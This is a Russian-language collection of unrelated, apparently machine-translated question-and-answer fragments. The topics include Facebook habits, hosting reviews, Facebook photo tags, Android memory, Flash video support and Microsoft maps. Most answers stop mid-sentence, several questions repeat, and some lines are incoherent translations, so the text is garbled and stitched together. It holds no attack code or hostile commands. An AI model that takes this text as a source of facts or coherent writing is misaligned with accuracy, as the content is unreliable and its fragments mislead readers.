Это из-за того, что вы используете Facebook, чтобы не заниматься какими-то вещами, такими как ваша работа или личные проблемы дома? Как только вы узнаете, в чем заключается основная проблема, вы будете более уверенно справляться со своей зависимостью. Если ничего не найдено, то, возможно, это связано с привычкой. Оставьте Facebook на некоторое время, выйдите на улицу и окунитесь в мир офлайнов, общаясь с друзьями лицом к лицу. Вы поймете, насколько это чудеснее, чем смотреть на ленту новостей
Как мы пришли к нашим выводам в этой статье?
Как мы пришли к нашим выводам в этой статье? Ниже приведены ресурсы и факторы, которые повлияли на наши рекомендации и отзывы о поиске лучшего хостинга веб-сайтов. 1. Наш более чем 12-летний опыт работы с различными хостами (большинство в настоящее время принадлежит EIG) 2. Наш клиент работает с хостами 3. Исследования в социальных сетях (негативные настроения в отношении хостов) 4. Поиск в Google с использованием операторов, чтобы сузить детали, чтобы показать
Как избавиться от тегов на фотографиях других людей?
Как избавиться от тегов на фотографиях других людей? 1. Перейдите на фото, где вы не хотите, чтобы вас видели. 2. Нажмите символ из трех точек и выберите Параметры изображения . 3.
Раздел Media Forking на шлюзе TDM в Руководство разработчика Cisco MediaSense и страницу часто задаваемых вопросов MediaSense на Как настроить шлюз TDM для работы с мультимедиа?
Как сделать timelapse с Hyperlapse? 1. Загрузите приложение из App Store. 2. Начните запись покадрового фильма. 3. После записи выберите степень ускорения фильма и начните сохранение
7. Как освободить память на моем устройстве Android?
7. Как освободить память на моем устройстве Android? По памяти вы, возможно, обращаетесь к оперативной памяти. Операционная система Android работает лучше всего с минимальным количеством установленных приложений. Это потому, что некоторые приложения любят работать в фоновом режиме, даже если вы на самом деле не используете приложение. Чем больше приложений установлено, тем больше вероятность того, что некоторые из них будут работать в фоновом режиме. Самое простое решение - удалить
Как часто ваши сотрудники должны получать доступ к электронной почте через мобильные устройства?
Как часто ваши сотрудники должны получать доступ к электронной почте через мобильные устройства? Это важная проблема, потому что большинство провайдеров почтового хостинга предоставляют своего рода веб-клиента, который можно использовать как почтовый ящик по умолчанию. Почти ко всем этим можно получить доступ через мобильное устройство, поэтому, если вашим сотрудникам не нужно часто получать доступ к своей электронной почте в дороге, то такие посредственные клиенты, вероятно, подойдут.
Какой тип контента мы можем предоставить тем не поддерживающим браузерам?
Какой тип контента мы можем предоставить тем не поддерживающим браузерам? По словам Adobe, более миллиарда пользователей настольных компьютеров имеют установленный плагин Flash Player в своих системах. И большинство из этих экземпляров плагина Flash версии 9 или новее, которые предлагают поддержку формата видео контейнера MPEG-4. Учитывая это, чтобы позволить Internet Explorer 8 и более ранним версиям (и другим более
Разве мы не купили Smart TV, чтобы нам не пришлось смотреть все эти ролики на обычном ТВ?
Разве мы не купили Smart TV, чтобы нам не пришлось смотреть все эти ролики на обычном ТВ? Изображение Siliconaddict на Arstechnica Эта функция отключена, что означает, что вы выбрали ее по умолчанию, и вам нужно снять
Хорошо, здесь мы идем: это зарабатывает деньги?
Хорошо, здесь мы идем: это зарабатывает деньги? Microsoft надеется не только на то, чтобы похвастаться правами, но и на шанс привлечь людей из Google с помощью этого улучшенного картографического сервиса. Вероятно, это не будет иметь большого значения для большинства людей, ищущих маршруты проезда - Microsoft использует Nokia / Navteq для этого в любом случае - но будет важно, когда люди хотят хорошие изображения для таких вещей, как недвижимость или отдых. Реальная разница будет

Наконец, после такого большого внимания и множества исправлений безопасности его потенциал уязвимости должен был быть исчерпан, и он должен быть безопасным, не так ли?
Необходимо было ответить на несколько вопросов: связана ли проблема безопасности?
Если да, то можем ли мы использовать его только локально или удаленно?
02. Как установить Оперу и другие приложения?
Разве пользователи этих легальных и обильных продуктов не заслуживают той же конфиденциальности и безопасности, как мы требуем от всех других наших гаджетов?
Я имею в виду, вы видели это, как вы помолвлены?
Я имею в виду, вы видели это, как вы помолвлены?
Что критично, извините, критичность к клиентам?
Это из-за того, что вы используете Facebook, чтобы не заниматься какими-то вещами, такими как ваша работа или личные проблемы дома?
Как мы пришли к нашим выводам в этой статье?